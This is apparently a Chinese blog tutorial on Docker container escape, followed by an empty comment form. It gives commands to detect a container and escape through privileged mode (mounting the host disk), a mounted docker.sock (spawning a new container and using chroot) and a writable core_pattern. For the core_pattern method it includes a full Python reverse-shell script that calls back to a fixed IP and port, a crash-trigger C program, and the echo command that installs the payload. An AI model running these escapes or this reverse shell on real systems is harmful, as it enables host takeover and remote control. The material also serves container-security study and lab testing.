docker逃逸

测试流程

1、前渗透-判断在Docker中
没有权限:端口扫描详细信息,根据应用对象表现
拿到权限:https://blog.csdn.net/qq_23936389/article/details/131486643

  1. 查询cgroup信息

    cat /proc/1/cgroup
  2. 检查/.dockerenv文件

    ls -alh

    dc8a452cd12b66fac78751b8aab837a1.png

  3. 检查mount信息

    mount | grep '/ type'
  4. 查看硬盘信息

    fdisk -l    容器输出为空,非容器有内容输出
  5. 查看文件系统以及挂载点

    df -h | egrep '(overlay|aufs)'        检查文件系统挂载的目录,也能够简单判断是否为docker环境

2、前渗透-镜像中的应用漏洞
3、前渗透-镜像中的默认配置
4、后渗透-三种安全容器逃逸
-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)

容器逃逸-特权模式

  1. 进入环境判断是否处在容器内,根目录下有.dockerenv文件屏幕截图 2025-03-18 204209.png
  2. 判断特权
    如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

    cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"
  3. 查看挂载磁盘设备

    fdisk -l

    屏幕截图 2025-03-18 211651.png

  4. 创建一个目录,将宿主机文件挂载到该目录下

    mkdir /test && mount /dev/vda3 /test
  5. 然后读/etc/passwd
    屏幕截图 2025-03-18 212033.png

容器逃逸-危险挂载

挂载Docker Socket逃逸

  1. 进入容器检查环境

    ![屏幕截图 2025-03-18 213054.png][5]
  2. 检测挂载

    ls -lah /var/run/docker.sock
    ![屏幕截图 2025-03-18 213324.png][6]
  3. 在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

    apt-get update
    apt-get install curl
    curl -fsSL https://get.docker.com/ | sh
    docker run -it -v /:/host ubuntu /bin/bash
  4. 在新的容器内执行 chroot,将根目录切换到挂载到宿主机的根目录

    chroot /host

挂载宿主机procfs逃逸

  1. 启动环境

    docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
  2. 检测环境

    find / -name core_pattern

    2025-03-19T04:02:26.png

  3. 找到当前容器在宿主机下的绝对路径

    cat /proc/mounts | grep docker(寻找workdir)

    2025-03-19T04:06:41.png

  4. 写入py脚本
这里写的是迪总的脚本,按其他方法需要安装vim
      cat >/tmp/.x.py << EOF
      #!/usr/bin/python
      import os
      import pty
      import socket
      lhost = "61.139.2.1"
      lport =7877
      def main():
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((lhost, lport))
   os.dup2(s.fileno(), 0)
   os.dup2(s.fileno(), 1)
   os.dup2(s.fileno(), 2)
   os.putenv("HISTFILE", '/dev/null')
   pty.spawn("/bin/bash")
   os.remove('/tmp/.x.py')
   s.close()
     if __name__ == "__main__":
   main()
     EOF
  1. 给py脚本权限
  2. 写入反弹 shell 到目标的 proc 目录下

    echo -e "|/var/lib/docker/overlay2/d382d53454701a001cc8540fba37cef039e215e6e46a8e1dc452a49d3cf26420/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern
  3. 再写入一个c文件,和py在同一目录下

    cat >/tmp/x.c << EOF
    #include <stdio.h>
    int main(void)
    {
        int *a = NULL;
        *a = 1;
        return 0;
    }
    EOF
  4. 安装gcc编译c文件,也可以在相同环境编译后在传入

    gcc x.c -o x
  5. 执行编译文件,然后在攻击机上反弹命令
    屏幕截图 2025-03-19 124239.png

模拟真实场景docker逃逸

1、高权限-Web入口到Docker逃逸(Java:shiro-721)

2、低权限-Web入口到Docker逃逸(PHP:dvwa)

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空